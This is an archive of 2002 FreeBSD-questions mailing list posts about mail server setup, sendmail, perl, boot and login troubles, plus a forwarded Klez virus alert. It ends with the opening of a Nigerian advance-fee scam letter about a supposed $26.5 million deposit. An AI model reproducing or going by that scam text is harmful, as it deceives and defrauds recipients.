> >> (which is why phpBB wouldn't work). And, mailman is back
> >> to
> >>
> >> > > > giving me UID/GID problems (I always have to edit my
> >>
> >> Makefile and recompile it).  I think I can take care of
> >> both of these problems. But, why would portupgrade leave
> >> my services unusable?  It seems like if it had problems,
> >> it would be smart enough to back out and give you a
> >> message.
> >>
> >> > > Run make options in mail/mailman. You can set some options
> >>
> >> at build time including UID/GID . Also look at the -M option
> >> with
> >>
> >> > > portinstall/portupgrade. Then have a look at man make.conf .
> >>
> >> You can set permanent variables for ports there to make sure
> >> they are always used on your upgrades.
> >>
> >> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> >> > with "unsubscribe freebsd-questions" in the body of the
> >>
> >> message
> >>
> >> To Unsubscribe: send mail to majordomo@FreeBSD.org
> >> with "unsubscribe freebsd-questions" in the body of the message
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Sun Jul 28 15: 8:46 2002
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Date: Sun, 28 Jul 2002 18:08:51 -0400
From: "David S. Jackson" <deepbsd@earthlink.net>
To: freebsd-questions@freebsd.org
Subject: sendmail woes
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X-Loop: FreeBSD.ORG

I've been trying to fix problems with my sendmail permissions that I've
had ever since my last upgrade.  My permissions never were correct,
apparently, but I can't nail down what precisely went wrong.  So I'd
like to reinstall just my sendmail subsystem.  Can I just go cd
/usr/src/usr.sbin/sendmail and make install again or something?

-- 
David S. Jackson                        dsj@dsj.net
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Romeo wasn't bilked in a day.
		-- Walt Kelly, "Ten Ever-Lovin'
		Blue-Eyed Years With Pogo"

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From owner-freebsd-questions  Sun Jul 28 15:15:28 2002
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From: "Danny Carroll" <danny@legalaliens.org>
To: "John Kerbawy" <john@maKintosh.com>
Cc: <questions@freebsd.org>
References: <001701c23670$7e545bd0$0164a8c0@llama> <20020728212145.GW28040@maKintosh.com>
Subject: Re: Courier-imap and MySQL
Date: Mon, 29 Jul 2002 00:15:09 +0200
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X-Loop: FreeBSD.ORG

I turned on logging and indeed got a select in there...

Tcp port: 3306  Unix socket: /tmp/mysql.sock
Time                 Id Command    Argument
020729  0:00:23       1 Connect     courier@guard on
                      1 Init DB     maildb
                      1 Query       SELECT id, crypt, clear, uid, gid, home,
maildir, "", name FROM users WHERE id = "testuser1"

So that's something...   I also made some other progress..
The user's password was set as password('mypass') instead of
encrypt('mypass') so I changed that

So I have that working now and it seems there is a few problems with where
my mail is being stored.
Will test some stuff and respond..

-D

----- Original Message -----
From: "John Kerbawy" <john@maKintosh.com>
To: "Danny Carroll" <danny@legalaliens.org>
Sent: Sunday, July 28, 2002 11:21 PM
Subject: Re: Courier-imap and MySQL


> On Sun, Jul 28, 2002 at 09:53:38PM +0200, Danny Carroll wrote:
>
> > Hiya...
> >
> > I have heard about a lot of people with the same problem as me.  I
> > am trying to setup virtual mail users with postfix, courier-imap and
> > mySQL.
> >
> > The postfix stuff works well, delivering email where I want.  The
> > courier pop and imap services, however refuse to authenticate.
> >
> > I followed the proceedure at the following site:
> > http://kirb.insanegenius.net/postfix.html The only message in the
> > maillog log file is: "Jul 28 21:04:04 guard pop3d:  LOGIN FAILED,
> > ip=[::ffff:127.0.0.1]"
> >
> > I still can't figure out if that is the AuthModule which can't log in
> > to mySQL or the user/pass for the mail user is wrong.  Did ANYONE?
> > Manager to get this going on 4.6-STABLE
>
> Have you tried turning on logging in MySQL so you can see what the query
> looks like? It's a bit easier than hacking up Courier's source.
>


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From owner-freebsd-questions  Sun Jul 28 15:26:46 2002
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From: "Danny Carroll" <danny@legalaliens.org>
To: "Kirby Menzel" <kirb@insanegenius.net>, <john@maKintosh.com>
Cc: <questions@freeBSD.org>
References: <001701c23670$7e545bd0$0164a8c0@llama> <20020728171058.5e85085a.kirb@insanegenius.net>
Subject: Re: Courier-imap and MySQL
Date: Mon, 29 Jul 2002 00:26:25 +0200
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OK,
Thanks to both of you for the QUICK responses.  I've been struggeling with
this all day.

So a number of things needed to happen to get both postfix and courier-imap
working with mySQL.

1. I needed to use encrypt() instead of password() in my SQL statements.
2. I needed to set in postfix...  virtual_mailbox_base=/

That is dissapointing because I wanted to move it along to a nice quiet
area...
Maybe I could chroot the delivery agent..  Anyway I will leave it for now.

3. The maildir field needed to be absolute for courier...

So now I have two questions for whoever has time...  ;)
1. Is it OK to leave the virtual_mailbox_base=/ ???
2. I want to forward any unmatched email for a domain, to a general
wastebasket that I can sift through at my leasure.  Can I add it to the
sendmail virtualuser table in /etc/mail or can I use the virtual table in
mysql to manage that?  I guess I am asking, what /etc/mail files will
postfix look at??  mailer.conf and /etc/aliases surely...  but any more?

-D



----- Original Message -----
From: "Kirby Menzel" <kirb@insanegenius.net>
To: "Danny Carroll" <danny@legalaliens.org>
Sent: Monday, July 29, 2002 12:10 AM
Subject: Re: Courier-imap and MySQL


>
>
> 1:  make sure you start authdaemond BEFORE any courier services.
> 2:  If that wasn't the problem, turn on verbose logging in MySQL.  Observe
> the logs.
> 3:  If all else fails, run a kernel trace on the authdaemon and wade
> through the output.
>
> 4: Sorry for the abruptness of my response, but I'm tired and busy right
> now.
>
>
> On Sun, 28 Jul 2002 21:53:38 +0200
> "Danny Carroll" <danny@legalaliens.org> wrote:
>
> > Hiya...
> >
> > I have heard about a lot of people with the same problem as me.
> > I am trying to setup virtual mail users with postfix, courier-imap and
> > mySQL.
> >
> > The postfix stuff works well, delivering email where I want.
> > The courier pop and imap services, however refuse to authenticate.
> >
> > I followed the proceedure at the following site:
> > http://kirb.insanegenius.net/postfix.html
> > The only message in the maillog log file is: "Jul 28 21:04:04 guard
> > pop3d: LOGIN FAILED, ip=[::ffff:127.0.0.1]"
> >
> > I still can't figure out if that is the AuthModule which can't log in to
> > mySQL or the user/pass for the mail user is wrong.
> > Did ANYONE?  Manager to get this going on 4.6-STABLE
> >
> > Here are my files:
> > [09:49pm root@guard:/usr/local/etc/courier-imap]#egrep ^[^#]
> > authdaemonrc authmodulelist="authmysql"
> > authmodulelistorig="authcustom authuserdb authmysql authpam"
> > daemons=5
> > version="authdaemond.mysql"
> > authdaemonvar=/usr/local/var/authdaemon
> >
> > [09:49pm root@guard:/usr/local/etc/courier-imap]#egrep ^[^#] authmysqlrc
> > MYSQL_SERVER                    guard
> > MYSQL_USERNAME                  courier
> > MYSQL_PASSWORD                  XXXX
> > MYSQL_SOCKET            /tmp/mysql.sock
> > MYSQL_PORT              3306
> > MYSQL_OPT               0
> > MYSQL_DATABASE                  maildb
> > MYSQL_USER_TABLE                users
> > MYSQL_CRYPT_PWFIELD             crypt
> > MYSQL_CLEAR_PWFIELD             clear
> > MYSQL_UID_FIELD                 uid
> > MYSQL_GID_FIELD                 gid
> > MYSQL_LOGIN_FIELD               id
> > MYSQL_HOME_FIELD                home
> > MYSQL_NAME_FIELD                name
> > MYSQL_MAILDIR_FIELD             maildir
> >
> > [09:50pm root@guard:/usr/local/etc/courier-imap]#egrep ^[^#] pop3d
> > prefix=/usr/local
> > exec_prefix=/usr/local
> > sbindir="/usr/local/sbin"
> > PIDFILE=/var/run/pop3d.pid
> > MAXDAEMONS=40
> > MAXPERIP=4
> > AUTHMODULES="authdaemon"
> > AUTHMODULES_ORIG="authdaemon"
> > POP3AUTH=""
> > POP3AUTH_ORIG="LOGIN CRAM-MD5 CRAM-SHA1"
> > POP3AUTH_TLS=""
> > POP3AUTH_TLS_ORIG="LOGIN PLAIN"
> > PORT=110
> > ADDRESS=0
> > TCPDOPTS="-nodnslookup -noidentlookup"
> > POP3DSTART=YES
> >
> >
> >
> >
>


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From owner-freebsd-questions  Sun Jul 28 15:37:18 2002
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From: "Jose E. Martinez" <jem@jemtz.com>
To: <freebsd-questions@FreeBSD.ORG>, <fran@chproducts.com>,
	<josefina@chproducts.com>, <danni@chproducts.com>
Subject: Virus in your emails
Date: Sun, 28 Jul 2002 17:36:54 -0500
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Please review the text starting with "Status:  U" below carefully.

My system reported the following as it stopped downloading your email's
attachment:


Status:  U
Return-Path: <laughterb@wwdb.org>
Received: from mail.wwdb.org ([63.214.171.90])
 by crane (EarthLink SMTP Server) with ESMTP id 17yW9L4gh3NZFjC0
 for <jem@jemtz.com>; Sun, 28 Jul 2002 15:04:53 -0700 (PDT)
Received: from Uwloyrsi [172.168.129.8] by mail.wwdb.org
  (SMTPD32-7.11) id AAA01C00F4; Sun, 28 Jul 2002 15:05:20 -0700
From: tech <tech@chproducts.com>
To: jem@jemtz.com
Subject: End PayCounter(tm) Code
MIME-Version: 1.0
Content-Type: multipart/alternative;
 boundary=CITCU1t15062L4y0i143D8W6Gvhq3
Message-Id: <200207281505718.SM01060@Uwloyrsi>
Date: Sun, 28 Jul 2002 15:05:50 -0700

My system prevented the downloading of your item "Hbs.scr" because it had
the Virus: W32.klez.H@mm.

I wish to be deleted from all future emails from your business, please. Do
not send me any emails thanking me for pointing this out. Call me if you
wish, but don't send any more emails!!!!
============================================================================
==============================



José E. Martínez
Principal
José E. Martínez  & Associates

2308 Rebel Rd.
Austin, Tx 78704  U.S.A.

Phone:  (512) 447-0266
Fax:     (512) 447-4781
email: jem@jemtz.com
URL: http://www.jemtz.com


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<HTML><HEAD>
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charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4916.2300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D820392922-28072002><FONT size=3D2>Please review the =
text starting=20
with "Status:&nbsp; U" below carefully.</FONT></SPAN></DIV>
<DIV><SPAN class=3D820392922-28072002><FONT =
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D820392922-28072002><FONT size=3D2>My system reported =
the=20
following as it stopped downloading your email's =
attachment:</FONT></SPAN></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Status:&nbsp; U<BR>Return-Path: &lt;</FONT><A=20
href=3D"mailto:laughterb@wwdb.org"><FONT =
size=3D2>laughterb@wwdb.org</FONT></A><FONT=20
size=3D2>&gt;<BR>Received: from mail.wwdb.org =
([63.214.171.90])<BR>&nbsp;by crane=20
(EarthLink SMTP Server) with ESMTP id 17yW9L4gh3NZFjC0<BR>&nbsp;for=20
&lt;</FONT><A href=3D"mailto:jem@jemtz.com"><FONT=20
size=3D2>jem@jemtz.com</FONT></A><FONT size=3D2>&gt;; Sun, 28 Jul 2002 =
15:04:53=20
-0700 (PDT)<BR>Received: from Uwloyrsi [172.168.129.8] by=20
mail.wwdb.org<BR>&nbsp; (SMTPD32-7.11) id AAA01C00F4; Sun, 28 Jul 2002 =
15:05:20=20
-0700<BR>From: tech &lt;</FONT><A =
href=3D"mailto:tech@chproducts.com"><FONT=20
size=3D2>tech@chproducts.com</FONT></A><FONT size=3D2>&gt;<BR>To: =
</FONT><A=20
href=3D"mailto:jem@jemtz.com"><FONT =
size=3D2>jem@jemtz.com</FONT></A><BR><FONT=20
size=3D2>Subject: End PayCounter(tm) Code <BR>MIME-Version: =
1.0<BR>Content-Type:=20
multipart/alternative;<BR>&nbsp;boundary=3DCITCU1t15062L4y0i143D8W6Gvhq3<=
BR>Message-Id:=20
&lt;</FONT><A href=3D"mailto:200207281505718.SM01060@Uwloyrsi"><FONT=20
size=3D2>200207281505718.SM01060@Uwloyrsi</FONT></A><FONT =
size=3D2>&gt;<BR>Date:=20
Sun, 28 Jul 2002 15:05:50 -0700</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><SPAN class=3D820392922-28072002><FONT color=3D#ff0000 size=3D4>My =
system=20
prevented the downloading of your item "Hbs.scr" because it had the =
Virus:=20
</FONT><A href=3D"mailto:W32.klez.H@mm."><FONT color=3D#ff0000=20
size=3D4>W32.klez.H@mm.</FONT></A></SPAN></DIV>
<DIV><SPAN class=3D820392922-28072002></SPAN><FONT =
size=3D2></FONT>&nbsp;</DIV>
<DIV><SPAN class=3D820392922-28072002><FONT size=3D2>I wish to be =
deleted from all=20
future emails from your business, please. Do not send me any emails =
thanking me=20
for pointing this out. Call me if you wish, but don't send any more=20
emails!!!!</FONT></SPAN></DIV>
<P><FONT=20
size=3D2>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D<BR><BR></P>
<P class=3DMsoNormal><SPAN lang=3DES style=3D"mso-ansi-language: =
ES">Jos=E9 E.=20
Mart=EDnez<BR>Principal<BR></SPAN><SPAN lang=3DES=20
style=3D"FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana; =
mso-ansi-language: ES; mso-bidi-font-size: 12.0pt; =
mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; =
mso-fareast-language: EN-US; mso-bidi-language: AR-SA">Jos=E9=20
E. Mart=EDnez<SPAN style=3D"mso-spacerun: yes">&nbsp; </SPAN>&amp;=20
Associates</SPAN></P>
<P><SPAN lang=3DES=20
style=3D"FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana; =
mso-ansi-language: ES; mso-bidi-font-size: 12.0pt; =
mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; =
mso-fareast-language: EN-US; mso-bidi-language: AR-SA"></SPAN>2308=20
Rebel Rd.<BR>Austin, Tx 78704&nbsp; U.S.A.</P>
<DIV><FONT size=3D2><SPAN=20
style=3D"FONT-SIZE: 11pt; FONT-FAMILY: Verdana; mso-ansi-language: =
EN-US; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Times New =
Roman'; mso-bidi-font-family: 'Times New Roman'; mso-fareast-language: =
EN-US; mso-bidi-language: AR-SA"><FONT=20
size=3D2>Phone:&nbsp; (512) 447-0266<BR>Fax:&nbsp;&nbsp;&nbsp;&nbsp; =
(512)=20
447-4781</FONT> </SPAN></DIV>
<P>email: <A href=3D"mailto:jem@jemtz.com">jem@jemtz.com</A><BR>URL: <A=20
href=3D"http://www.jemtz.com/">http://www.jemtz.com</A></P></FONT></FONT>=

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From owner-freebsd-questions  Sun Jul 28 15:48: 0 2002
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From: "sagacious" <sagacious@unixhideout.com>
To: <freebsd-questions@freebsd.org>
Subject: RE: login & Passwords
Date: Sun, 28 Jul 2002 18:47:49 -0400
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Er. You should have had the opportunity to set one during the install.
Possibly login as root with no password or reinstall, or try to boot
into single user mode to get the pass you did set, or set one. But I
would try the first two options, because if you didn't set one at all
chances are you missed some other vital steps during the install.
 
sagacious (Mike)
Network administrator
The unixhideout network
http://www.unixhideout.com
-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG] On Behalf Of Jokrs
Incorproated
Sent: Sunday, July 28, 2002 5:01 PM
To: freebsd-questions@FreeBSD.ORG
Subject: login & Passwords
 
I just installed 4.6 and it boots up but then it says i need a username
& password. i don't know the them & didn't set them.
what do i do to get the login name/password set so that i can open
FreeBSD?
 
  _____  

Do You Yahoo!?
Yahoo! Health <http://health.yahoo.com/>  - Feel better, live better

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	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dblue style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><span class=3DSpellE><font size=3D2 color=3Dblack
face=3D"Lucida Console"><span =
style=3D'font-size:10.0pt;font-family:"Lucida Console";
color:black'>Er</span></font></span><font size=3D2 color=3Dblack
face=3D"Lucida Console"><span =
style=3D'font-size:10.0pt;font-family:"Lucida Console";
color:black'>. You should have had the opportunity to set one during the
install. Possibly login as root with no password or reinstall, or try to =
boot
into single user mode to get the pass you did set, or set one. But I =
would try
the first two options, because if you didn&#8217;t set one at all =
chances are
you missed some other vital steps during the =
install.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3D"Lucida =
Console"><span
style=3D'font-size:10.0pt;font-family:"Lucida =
Console";color:black'><o:p>&nbsp;</o:p></span></font></p>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3D"Lucida =
Console"><span
style=3D'font-size:10.0pt;font-family:"Lucida =
Console";color:black;mso-no-proof:
yes'>sagacious (Mike)</span></font><font color=3Dblack><span =
style=3D'color:black;
mso-no-proof:yes'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3D"Lucida =
Console"><span
style=3D'font-size:10.0pt;font-family:"Lucida =
Console";color:black;mso-no-proof:
yes'>Network administrator</span></font><font color=3Dblack><span
style=3D'color:black;mso-no-proof:yes'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3D"Lucida =
Console"><span
style=3D'font-size:10.0pt;font-family:"Lucida =
Console";color:black;mso-no-proof:
yes'>The unixhideout network</span></font><font color=3Dblack><span
style=3D'color:black;mso-no-proof:yes'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3D"Lucida =
Console"><span
style=3D'font-size:10.0pt;font-family:"Lucida =
Console";color:black;mso-no-proof:
yes'><a =
href=3D"http://www.unixhideout.com">http://www.unixhideout.com</a></span>=
</font><o:p></o:p></p>

</div>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
face=3DTahoma><span
style=3D'font-size:10.0pt;font-family:Tahoma'>-----Original =
Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b>
owner-freebsd-questions@FreeBSD.ORG =
[mailto:owner-freebsd-questions@FreeBSD.ORG]
<b><span style=3D'font-weight:bold'>On Behalf Of </span></b>Jokrs =
Incorproated<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> =
</span></font><st1:date
Month=3D"7" Day=3D"28" Year=3D"2002"><font size=3D2 face=3DTahoma><span =
style=3D'font-size:
 10.0pt;font-family:Tahoma'>Sunday, July 28, =
2002</span></font></st1:date><font
size=3D2 face=3DTahoma><span =
style=3D'font-size:10.0pt;font-family:Tahoma'> </span></font><st1:time
Hour=3D"17" Minute=3D"1"><font size=3D2 face=3DTahoma><span =
style=3D'font-size:10.0pt;
 font-family:Tahoma'>5:01 PM</span></font></st1:time><font size=3D2 =
face=3DTahoma><span
style=3D'font-size:10.0pt;font-family:Tahoma'><br>
<b><span style=3D'font-weight:bold'>To:</span></b> =
freebsd-questions@FreeBSD.ORG<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> login &amp; =
Passwords</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
face=3D"Times New Roman"><span
style=3D'font-size:12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p style=3D'margin-left:.5in'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'>I&nbsp;just installed 4.6 and it boots up but =
then it
says i need a username &amp; password. i don't know the them &amp; =
didn't set
them.<o:p></o:p></span></font></p>

<p style=3D'margin-left:.5in'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'>what do i do to get the login name/password =
set so
that i can open FreeBSD?<o:p></o:p></span></font></p>

<p style=3D'margin-left:.5in'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<div class=3DMsoNormal align=3Dcenter =
style=3D'margin-left:.5in;text-align:center'><font
size=3D3 face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>

<hr size=3D1 width=3D"100%" align=3Dcenter>

</span></font></div>

<p class=3DMsoNormal style=3D'margin-left:.5in'><b><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;font-weight:bold'>Do You
Yahoo!?</span></font></b><br>
<a href=3D"http://health.yahoo.com/">Yahoo! Health</a> - Feel better, =
live better<o:p></o:p></p>

</div>

</body>

</html>

------=_NextPart_000_0003_01C23667.45D39220--


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From owner-freebsd-questions  Sun Jul 28 16:26:48 2002
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Subject: What is a "higher priority console" in regards to sio flag 0x20?
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In LINT, there's an option flag for sio:

#       0x20    force this unit to be the console (unless there is another
#               higher priority console).  This replaces the COMCONSOLE option.

What qualifies as a higher-priority console than sio1?  Is the vid/kbd
console higher priority?  I want to set up a machine so that at boot
it will automatically switch to a serial console when there's no
keyboard plugged in.  Do I even need this flag to do this?

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From owner-freebsd-questions  Sun Jul 28 16:36:53 2002
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

did some searching through the archives and
google groups search & couldn't come up with
much. maybe just using the wrong search info.
anyway, am running 4.6 stable & when i do a
/stand/sysinstall & try to add packages via
ftp, i get the message

"Can't find the `4.6-STABLE' distribution on
this ftp server"

the one message i found about it had some
mention of putting in /etc/rc.conf

releaseName="4.6-RELEASE"

but wouldn't that screw things up? i ran into
this once a long time ago, got it fixed, and
damned if i can remember what i did to fix it,
so i apologize for once again (tho not in a
long time) bugging the list for answers. thanks
for any help i can get on this.


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From owner-freebsd-questions  Sun Jul 28 16:59:17 2002
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Date: Mon, 29 Jul 2002 09:23:46 +0930
From: Benjamin Close <cisbjc@cs.unisa.edu.au>
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To: Steve Kargl <sgk@troutmask.apl.washington.edu>
Cc: Garance A Drosihn <drosih@rpi.edu>,
	Michael Nottebrock <michaelnottebrock@gmx.net>,
	Erik Greenwald <erik@smluc.org>,
	Dan Nelson <dnelson@allantgroup.com>,
	freebsd-questions <FreeBSD-Questions@FreeBSD.ORG>,
	freebsd-current <current@FreeBSD.ORG>
Subject: Re: where's perl???
References: <1027663747.499.60.camel@enterprise.workgroup> <20020726062850.GG62267@dan.emsphone.com> <20020726074532.GA19322@freya> <3D411DDC.6030102@gmx.net> <p05111716b96743bbb6e6@[128.113.24.47]> <20020726201109.GA53793@troutmask.apl.washington.edu>
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Steve Kargl wrote:

>On Fri, Jul 26, 2002 at 03:41:59PM -0400, Garance A Drosihn wrote:
>  
>
>>At 12:01 PM +0200 7/26/02, Michael Nottebrock wrote:
>>
>>That said though, it would be good to have something a little
>>smarter than a blind find|rm which did find old files, and move
>>them out of the way.  [move, not remove -- just in case it picks
>>the wrong files!]
>>
>>    
>>
>
>rm(1) does take a -i option.
>
>  
>
Perhaps a note in UPDATING about how to remove the system perl and 
replace it with the port would be useful.

-- 
3D Research Associate                            +61 8 8302 3669
School of Computer and Information Science       Room D1-07, Levels Campus
University of South Australia                    Mawson Lakes Blvd.
Benjamin.Close@cs.unisa.edu.au                   South Australia, 5095
F00D C83D 5F7E 5561 DF91  B74D E602 CAA3 4842 B5B4




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From owner-freebsd-questions  Sun Jul 28 17:33: 3 2002
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Date: Sun, 28 Jul 2002 20:34:52 -0400 (EDT)
From: Mike Wade <mwade@bluehighway.net>
To: <FreeBSD-Questions@FreeBSD.ORG>
Subject: FreeBSD + Dolby Digital Output Support
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As a home side project I'm building a small embedded device to play audio
and video files.  One of the requirements is Dolby Digital support and I
was wondering if there are any preferences for hardware under FreeBSD.
AFAIK the C-Media 8738-6CH and Creative Labs Sound Blaster Live! support
Dolby Digital Pass Through via S/PDIF.  I assume I'll have to purchase the
OSS drivers for FreeBSD.

Comments?  Suggestions?

---
Mike Wade (mwade@bluehighway.net)
Blue Highway Labs, LLC.
Office: (423) 634-7746
Cell  : (423) 580-2440
AIM   : BHmwade


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From owner-freebsd-questions  Sun Jul 28 18: 2:14 2002
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Date: Sun, 28 Jul 2002 18:02:37 -0700
From: Benjamin Krueger <benjamin@seattleFenix.net>
To: freebsd-questions@freebsd.org
Subject: Asus P2B-DS ahc issues
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4.6-Release refuses to boot on the Asus P2B-DS mainboard. Doing a bit of
research on the mailing lists and Google I see that some references have been
made to a problem in ahc. Apparently this mainboard and scsi combination also
worked previous to 4.2. 

The kernel hangs immediately after initializing plip0.

Dual P3 500, 524MB ECC SDRAM
Adaptec AIC-7890
The machine is running BIOS rev. 1011

ok lsdev
cd @ oxff2c
disk @ 0xef38
    disk0:   BIOS drive A:
		    disk0a: FFS
				disk0c: FFS
		disk1:   BIOS drive B:
		disk2:   BIOS drive C:
		  disk2s1: FAT-32
pxe @ oxd6b0
ok

ahc0: <Adaptec aic7890/91 Ultra2 SCSI adapter> port 0xd000-0xd0ff mem
0xe3000000-0xe3000fff irq 10 at device 6.0 on pci0
aic7890/91: Ultra2 Wide Channel A, SCSI Id=7, 32/253 SCBs

Is anyone aware of this problem, its status, and/or a way to fix it?

Regards,

-- 
Benjamin Krueger

"Life is far too important a thing ever to talk seriously about."
- Oscar Wilde (1854 - 1900)
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From owner-freebsd-questions  Sun Jul 28 18:16:24 2002
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From: "Brian T. Schellenberger" <bts@babbleon.org>
To: karl agee <kdagee@attglobal.net>
Subject: Re: Linking a directory to another filesystem
Date: Sun, 28 Jul 2002 21:16:05 -0400
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References: <200207252250.g6PMorT15954@clunix.cl.msu.edu> <200207260135.25566.bts@babbleon.org> <1027663508.499.55.camel@enterprise.workgroup>
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You do realize that -current is the "alpha-test" version of FreeBSD, quite 
unstable and al that, right?

And don't know a darn thing about it so I'm afraid I shan't be able to help 
you.

If you want to drop back and install a production or at least stable version, 
then I can help you.

If you want to run -current I'd suggest joining that mailing list.

On Friday 26 July 2002 02:05 am, karl agee wrote:
| On Thu, 2002-07-25 at 22:35, Brian T. Schellenberger wrote:
| > Pardon a bit of the tone of my last post; mail is arriving out of order
| > and confusing me.
|
| No problem, I'm a big boy ;-)
|
| > | Can I delete those modules????
| > |
| > | this is what is loaded:
| > |
| > | su-2.05a# kldstat
| > | Id Refs Address    Size     Name
| > |  1    6 0xc0100000 4fe904   kernel
| > |  2    1 0xc1d5b000 7000     ipfw.ko
| > |  3    1 0xc1e3e000 14000    linux.ko
| > |
| > |
| > | --karl
| >
| > You don't want to ditch all the modules; you might need them some day.
| > But my modules aren't loaded into /boot.
| >
| > You seem to have a rather unconventional setup.
|
| just did a standard install.....
|
| > You *are* running FreeBSD, right?  Is it -current or a really old version
| > or something?
|
| su-2.05a# uname -a
| FreeBSD enterprise.workgroup 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Tue Jul
| 23 16:07:44 PDT 2002
| root@enterprise.workgroup:/usr/obj/usr/src/sys/NEWKERNEL  i386
|
| > How did you re-build the kernel?
|
| using the "new" method in the handbook....
|
| > And what all *is* in /boot?
| >
| > My modules are in /modules, not /boot.
|
| su-2.05a# ls -la /boot
| total 796
| drwxr-xr-x   8 root  wheel     512 Jul 23 16:47 .
| drwxr-xr-x  18 root  wheel     512 Jul 25 19:39 ..
| drwxr-xr-x   2 root  wheel     512 Jul 21 17:40 DEBUG
| drwxr-xr-x   2 root  wheel     512 Jul 21 17:40 GENERIC
| -r--r--r--   1 root  wheel     512 Jul 23 09:42 boot0
| -r--r--r--   1 root  wheel     512 Jul 23 09:42 boot1
| -r--r--r--   1 root  wheel    7680 Jul 23 09:42 boot2
| -r-xr-xr-x   1 root  wheel    1136 Jul 23 09:42 cdboot
| drwxr-xr-x   2 root  wheel     512 Jul 23 09:42 defaults
| -r--r--r--   1 root  wheel    1944 Apr  6 15:45 device.hints
| drwxr-xr-x   2 root  wheel    5120 Jul 23 16:47 kernel
| drwxr-xr-x   2 root  wheel    4608 Jul 21 17:40 kernel.old
| -r-xr-xr-x   1 root  wheel  180224 Jul 23 09:42 liloboot
| -r-xr-xr-x   1 root  wheel  176128 Jul 23 09:42 loader
| -r--r--r--   1 root  wheel    7772 Jul 23 09:42 loader.4th
| -rw-r--r--   1 root  wheel       0 Jul 11 13:12 loader.conf
| -r--r--r--   1 root  wheel   12515 Jul 23 09:42 loader.help
| -r-xr-xr-x   1 root  wheel  176128 Jul 22 17:45 loader.old
| -r--r--r--   1 root  wheel     338 Apr  6 15:45 loader.rc
| -r--r--r--   1 root  wheel     512 Jul 23 09:42 mbr
| drwxr-xr-x   2 root  wheel     512 Apr  6 15:43 modules
| -r-xr-xr-x   1 root  wheel  178176 Jul 23 09:42 pxeboot
| -r--r--r--   1 root  wheel   36440 Jul 23 09:42 support.4th
|
| I didnt purposely put this stuff in here...it was in there when I looked
| at /boot....the modules are located in the kernel.* directories above.
|
| --karl

-- 
Brian, the man from Babble-On . . . .   bts@babbleon.org (personal)
                                        http://www.babbleon.org

http://www.eff.org                      http://www.programming-freedom.org 

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Subject: nttp server??
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can someone send me the name of the nttp server for =
comp.unix.bsd.freebsd.misc so i can receive mail?? please??
thanks, robert

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
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nttp server for=20
<A =
href=3D"news:comp.unix.bsd.freebsd.misc">comp.unix.bsd.freebsd.misc</A>&n=
bsp;so=20
i can receive mail?? please??</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>thanks, =
robert</FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Sun Jul 28 18:48:54 2002
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Dear Friend,

I am Dr.Chuks Adams, Bank Manager of Zenith Bank,Lagos, Nigeria. I have 
urgentand very confidential business proposition for you.

On June 6, 1997, a Foreign Oil consultant/contractor with the Nigerian 
National Petroleum Corporation, Mr.Barry Kelly made anumbered time (Fixed) 
Deposit for twelve calendar months, valued atUS$26,500,000.00,
(Twenty-six Million, five hundred thousand Dollars) in my branch.

Upon maturity, I sent a routine notification to his forwarding address but 
gotno reply. After a month, we sent a reminder and finally we
discovered from hiscontract employers, the Nigerian National Petroleum 
